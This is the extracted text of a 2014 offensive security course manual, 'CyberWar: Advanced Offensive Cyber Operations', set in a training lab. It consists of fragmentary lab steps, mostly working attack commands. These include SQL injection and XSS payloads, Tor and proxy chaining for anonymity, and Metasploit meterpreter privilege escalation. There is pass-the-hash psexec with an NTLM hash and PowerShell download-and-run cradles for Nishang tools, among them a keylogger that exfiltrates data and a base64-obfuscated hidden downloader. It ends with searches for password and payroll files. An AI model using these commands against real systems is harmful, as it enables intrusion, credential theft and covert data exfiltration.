CyberWar AOCO 2014
CyberWar AOCO 2014
CyberWar AOCO 2014
http://strategicsec.com/
CyberWar: Advanced
Offensive Cyber
Operations
Written by Joe McCray
Contributors:
Contents
11
dig google.com
13
15
halberd oracle.com
17
cat /home/strategicsec/toolz/ssl_proxy.sh
19
cd ~/toolz/
sudo nmap -p 80 --script http-waf-detect.nse oracle.com
21
' or 1=1
%27%201=1%2D%2D
%27%20and%208<9%2D%2D
%3Cscript%3E%28%27xss%27%29%3C$2Fscript%3E
prompt('xss')
prompt%28%27xss%27%29
23
25
This step takes some time, upwards of an hour. It has to go through every proxy and make sure that it is
alive. Once its done, copy the contents of your results.txt file into your /etc/proxychains.conf. Make sure
to copy and paste them in the appropriate section.
27
Its in this section that you can also specify what ports you want glypeahead to scan. At the bottom of the
configuration file, you can also specify what proxies you would like glypeahead to use.
You can get a list of glype proxies from the following link: http://www.azproxies.com/proxy-lists/glype-webproxies.html
Make sure that when you put in the proxies you end with index.php otherwise glypeahead will error out.
Of course, you can always add more proxies. You do not have to limit yourself to only two. The same
goes for the sites, you can always change the ports to whatever you want to scan for. I left them the
same for simplicity. This is what youll get when everything works out fine.
GlypeAhead needs to be fed the config.php file
31
33
Open Firefox
- Click "Edit"
- Click Preferences"
- Click the "Advanced" tab
- Click the "Network" sub tab
- Click the connection "settings" button
- Click "manual proxy configuration"
set it to 127.0.0.1 port 8080
check "Use this proxy server for all protocols"
- Remove both the "localhost, 127.0.0.1" text from the "No Proxy For:" line
Configure your browser to use Burp as its proxy, and configure Burp's proxy listener to generate CAsigned per-host certificates.
Visit any SSL-protected URL.
On the This Connection is Untrusted screen, click on Add Exception
Click "Get Certificate", then click "View".
35
37
Close Certificate Viewer dialog and click Cancel on the Add Security Exception dialog
Go to Edit | Preferences
Click Advanced and go to Encryption tab
Click View Certificates
Click "Import" and select the certificate file that you previously saved.
39
Once youve found the line that says forward-socks5 / 127.0.0.1:9050, go ahead and uncomment it.
Now we need to configure the proxy settings.
41
We need to set this up to go through Privoxy. Currently Privoxy listens on port 8118 by default. Scroll
down until you see the section labeled upstream proxy servers, fill in the proxy host with the localhost
address 127.0.0.1. Use 8118 for the proxy port. Click on the add button when finished.
43
Once youre finished with this, the final step is to fire up Tor and Privoxy.
Uncomment the two lines for PROXYHOST and PROXYPORT you will also have to change the
PROXY port to go through Burp.
If we run Nikto we can see what the user agent looks like.
45
Now to modify Niktos User-Agent to do this we need the mechanize.rb rubygem. If you are on Fedora
you can simply use yum to install it. If not you can download it at (http://mechanize.rubyforge.org) or use
the command:
sudo gem install mechanize
If youve installed it via gem install then navigate to the /usr/lib//gems/1.8/gems/mechanize-2.5.1/lib/
In the mechanized.rb file you can see the different user agents. From this list we need to make a
separate user-agent.txt file. You may want to clean it up a little bit.
Now we have to can change the user-agent. Go into Burp and navigate to Proxy -> Options and scroll
down to Match and Replace.
Just copy and paste in the user-agent information from your user-agent.txt file. I am going to use the Mac
Firefox user-agent.
Make sure that the request header box is checked. Now run Nikto again.
47
Once you navigate to a web page, you should see the activity under the Proxy tab and then under the
Intercept tab:
SocksPort 9050
SocksListenAddress 127.0.0.1
If your torrc file looks like this then we can go on. This next step depends on whether you are using
openssh or putty. If youre using openssh, then this step is pretty easy.
Lets say you have two machines, Host1 and Host2. Host2 will be the PC that youre wanting to route
traffic from and Host1 is the PC that is running Tor. From Host2, run:
ssh -L 9050:127.0.0.1:9050 user@Host1
Now that weve logged in, the tunnel is active. So if we connect to localhost:9050, a local connection to
our other machine (Host2) will be established. We will get redirected to our Linux machine through an
encrypted ssh-tunnel. If we configure Firefox on Host2 to use 127.0.0.1:9050 as a SOCKS proxy, our
traffic will be tunneled through the SSH tunnel to Host1 and out over Tor.
49
The procedure on your Windows machine is pretty much the same, just more GUI based. First, open up
PuTTY.
51
We need to configure our connection. Navigate to Connection -> SSH -> Tunnels
For the Source Port enter 9050 and for the Destination put 127.0.0.1:9050 and finally click Add.
53
55
Under Select Mode, choose Use Proxy 127.0.0.1 for all URLs.
There is a problem doing this. By default Firefox uses your local DNS, even if you use SOCKS. So you
have to tell Firefox to request everything through SOCKS. To do this open a new tab in Firefox and type
about:configin the filter field type in network.proxy.socks_remote_dns If this value is not to set true
set it to true Now check if your surfing anonymously.
57
If everything goes right, your traffic will be forwarded over the SSH tunnel to Host1 and out through Tor.
Youll be presented with an empty desktop. Open a Terminal window by holding down [Ctrl+Alt] and then
pressing T. Or find it through the left sidebar by clicking on Dash home
59
At this point youll see a bunch of text while the VPN service connects.
When this completes, you can open another Terminal window or tab and type the command: ifconfig
This will show you all of your network interfaces and you can verify that a tap0 interface has been created
and you have been assigned an ip address in the lab.
Congratulations you are ready to begin working in the Strategic Security Lab!
When you are ready to disable your VPN connection to the Lab network, you can issue a command to
disable the tap0 VPN interface: sudoifconfig tap0 down
61
Afterward you can verify the connection is down by typing ifconfig to show the network interfaces that are
up and by attempting to ping a previously known Lab ip address.
63
65
67
cd /var/www
sudo wget https://s3.amazonaws.com/StrategicSec-Files/browser-fingerprint.zip
sudo unzip browser-fingerprint.zip
tail -f /var/www/browser.log
****See the browswer version that connects to your server****
ctrl-z
69
sudo vi config.php
71
73
exploit -j
Now you should only have to wait a few minutes and then you should see an incoming meterpreter
session.
We'll simulate having spear-phished a victim.
After that you should see metasploit sending the exploit to the IP address of a Windows 7 host, and after
that you should see a new session created.
You can list the active sessions by typing:
sessions -l
You can "interact" with any active session by typing sessions -i 3 (replace 3 with the session number you
want to interact with)
sessions -i 1
You should now see Metasploit's meterpreter prompt.
meterpreter> getuid
75
meterpreter> ipconfig
meterpreter> getsystem
meterpreter> getuid
77
meterpreter> getuid
79
81
83
meterpreter > impersonate_token BUILTIN\\Users <-- choose who you want to impersonate but be sure to
use 2 slashes in the name (ex: impersonate_token domain\\user)
meterpreter> getuid
85
meterpreter> rev2self
87
sessions -l
<-- Find a session you want to pivot through (note the IP and session
number)
89
91
use exploit/windows/smb/psexec
set SMBUser Administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:cffcd2a85b83b1566e6a785a33f5d0cf
set RHOST 10.10.30.87
set LPORT 5678
set LHOST StrategicSec-Ubuntu-Tap0-IP
exploit
background
93
background
use post/windows/manage/portproxy
sessions -l
set session 2
set session 1
set local_port 9002
set local_address 0.0.0.0
set connect_port 80
set connect_address 10.10.10.105
run
95
test proxy
wget --server-response --spider 10.10.30.81:9001
97
99
connect to ssh
ssh -D 127.0.0.1:9060 root@10.10.10.107
101
103
105
Reference:
http://www.cellstream.com/intranet/tipsandtricks/160-setting-up-a-6to4-tunnel-in-windows-7.html
IPv6 Direct Access
Reference:
http://www.slideshare.net/AlexdeJong/direct-access-for-dummies
http://directaccess.richardhicks.com/2013/06/24/isatap-recommendations-for-directaccess-deployments/
107
cscript ip.vbs
109
111
Lab 13b: Payload which could execute shellcode from DNS TXT queries.
powershell.exe (new-object System.Net.WebClient).DownloadFile('http://10.10.5.235/nishang/ExecuteDNSTXT-Code.ps1','%TEMP%\Execute-DNSTXT-Code.ps1')
powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Execute-DNSTXT-Code.ps1
32.alteredsecurity.com 64.alteredsecurity.com ns8.zoneedit.com
113
Lab 13e: Nihsang payload which Scan IP-Addresses, Ports and HostNames
powershell.exe (new-object System.Net.WebClient).DownloadFile('http://10.10.5.235/nishang/InvokePingSweep.ps1','%TEMP%\Invoke-PingSweep.ps1')
powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Invoke-PingSweep.ps1 -StartAddress
10.10.30.50 -EndAddress 10.10.30.100 -ResolveHost -ScanPort
115
Lab 13f: Nishang Payload which gathers juicy information from the target.
powershell.exe (new-object System.Net.WebClient).DownloadFile('http://10.10.5.235/nishang/GetInformation.ps1','%TEMP%\Get-Information.ps1')
powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Get-Information.ps1
powershell.exe (new-object
System.Net.WebClient).DownloadFile('http://10.10.5.235/nishang/Keylogger.ps1','%TEMP%\Keylogger.ps
1')
powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Keylogger.ps1 <dev_key> <username>
<pass> 3 http://example.com stopthis
PARAMETER dev_key
The Unique API key provided by pastebin when you register a free account.
Unused for tinypaste.
Unused for gmail option.
.PARAMETER username
Username for the pastebin account where data would be pasted.
Username for the tinypaste account where data would be pasted.
Username for the gmail account where attachment would be sent as an attachment.
.PARAMETER password
Password for the pastebin account where data would be pasted.
Password for the tinypaste account where data would be pasted.
Password for the gmail account where data would be sent.
.PARAMETER keyoutoption
The method you want to use for exfitration of data.
"0" for displaying on console
"1" for pastebin.
"2" for gmail
"3" for tinypaste
.PARAMETER MagicString
The string which when found at CheckURL will stop the keylogger.
.PARAMETER CheckURL
The URL which would contain the MagicString used to stop keylogging.
117
Lab 13h: Nishang Payload which silently browses to a URL and accepts Java
Applet Run Warning
(msfconsole 1)
use exploit/multi/browser/java_signed_applet
set SRVHOST 10.10.5.235
set URIPATH strategicsec
exploit
(msfconsole 2)
powershell.exe (new-object
System.Net.WebClient).DownloadFile('http://10.10.5.235/nishang/Browse_Accept_Applet.ps1','%TEMP%\
Browse_Accept_Applet.ps1')
powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Browse_Accept_Applet.ps1
http://10.10.5.235:8080/strategicsec
Lab 13i: Nishang Payload which dumps keys for WLAN profiles.
119
This script is a part of Nishang. It copies a file from an NTFS partitioned volume by reading the raw
volume and parsing the NTFS structures. This bypasses file DACL's, read handle locks, and SACL's. You
must be an administrator (elevated privileges) to run the script. This can be used to read SYSTEM files
which are normally locked, such as the NTDS.dit file or registry hives.
powershell.exe (new-object System.Net.WebClient).DownloadFile('http://10.10.5.235/nishang/InvokeNinjaCopy.ps1','%TEMP%\Invoke-NinjaCopy.ps1')
powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Invoke-NinjaCopy.ps1 -path
c:\windows\system32\config\system -localdestination %TEMP%\system
Nishang payload which performs a Brute-Force Attack against SQL Server, Active Directory, Web and
FTP
powershell.exe (new-object System.Net.WebClient).DownloadFile('http://10.10.5.235/nishang/BruteForce.ps1','%TEMP%\Brute-Force.ps1')
powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Brute-Force.ps1 -Identity ftp://10.10.5.235
-Service FTP
Nishang payload which performs a Brute-Force Attack against SQL Server, Active Directory, Web and
FTP.
powershell.exe (new-object System.Net.WebClient).DownloadFile('http://10.10.5.235/nishang/InvokeMedusa.ps1','%TEMP%\Invoke-Medusa.ps1')
powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Invoke-Medusa.ps1 -Identity
ftp://10.10.5.235 -UserName anonymous -Password 1 -Service FTP
121
123
125
Use exploit/windows/misc/psh_web_delivery
(fill required information)
(example)
Place if statement in payload1 (strategicsec32)
Set-StrictMode -Version 2
if ($env:Processor_Architecture -ne "x86") {
cmd /c
([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(("JVdJTkRJUiVcc3lzd29
3NjRcV2luZG93c1Bvd2VyU2hlbGxcdjEuMFxwb3dlcnNoZWxsLmV4ZSAtdyBoaWRkZW4gLW5vcCAtZXA
gYnlwYXNzIC1jICJJRVggKChuZXctb2JqZWN0IG5ldC53ZWJjbGllbnQpLmRvd25sb2Fkc3RyaW5nKCdod
HRwOi8vMTAuMTAuNS4yMzUvc3RyYXRlZ2ljc2VjNjQnKSki"))))
exit
}
sudo nano strategicsec32
127
129
List OS Version:
ver
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion" /v ProductName
sc query
131
135
At
type "%SystemRoot%\system.ini"
137
dir "%SystemRoot%\Tasks"
139
141
143
Search the drive for files with business critical names or important file types
c:\dir c:\*bank* /s
145
c:\dir c:\*password* /s
c:\dir c:\*pass* /s
c:\dir c:\*competitor* /s
c:\dir c:\*competition* /s
147
c:\dir c:\*invoice* /s
c:\dir c:\*risk* /s
c:\dir c:\*assessment* /s
c:\dir c:\*key* /s
c:\dir c:\*.vsd /s
c:\dir c:\*.pcf /s
c:\dir c:\*.ica /s
c:\dir c:\*.crt /s
c:\dir c:\*.key /s
c:\dir c:\*.log /s
Search the drive for files with critical data in them
c:\type c:\sysprep.inf
c:\type c:\sysprep\sysprep.xml
c:\findstr /I /N /S /P /C:password *
c:\findstr /I /N /S /P /C:secret *
c:\findstr /I /N /S /P /C:confidential *
c:\findstr /I /N /S /P /C:account *
c:\findstr /I /N /S /P /C:payroll *
c:\findstr /I /N /S /P /C:credit *
c:\findstr /I /N /S /P /C:record *
Active Directory Enumeration
meterpreter> execute -c -H -f cmd -a "/k" -i
c:\net view
149
c:\net user
c:\net localgroup
151
153
echo %logonserver:*\\=%
155
c:\dsquery group
Listing all of the groups on a machine
157
Query Groups
c:\dsquery * -filter "(&(objectcategory=group)(objectclass=group)(name=*))" -limit 0 -attr Name
159
more
pingsweep 10.10.30
163
165
or:
c:\WMIC QFE List
167
cd /home/strategicsec/toolz/metasploit
touch ./met_template.c
169
cat payload
171
vi win-met-rev-https.c